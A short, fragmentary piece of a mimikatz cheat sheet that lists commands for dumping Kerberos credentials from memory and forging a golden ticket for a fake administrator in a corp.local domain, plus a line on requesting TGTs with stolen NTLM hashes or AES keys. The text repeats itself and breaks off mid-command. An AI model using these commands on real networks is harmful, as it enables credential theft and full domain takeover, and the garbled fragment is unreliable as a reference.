sekurlsa::kerberos
kerberos::golden /domain:corp.local /sid:... /krbtgt:... /user:FakeAdmin /ticket:golden.kirbi mimikatz cheat sheet
Use an NTLM hash or AES key to request a TGT from the KDC. sekurlsa::kerberos kerberos::golden /domain:corp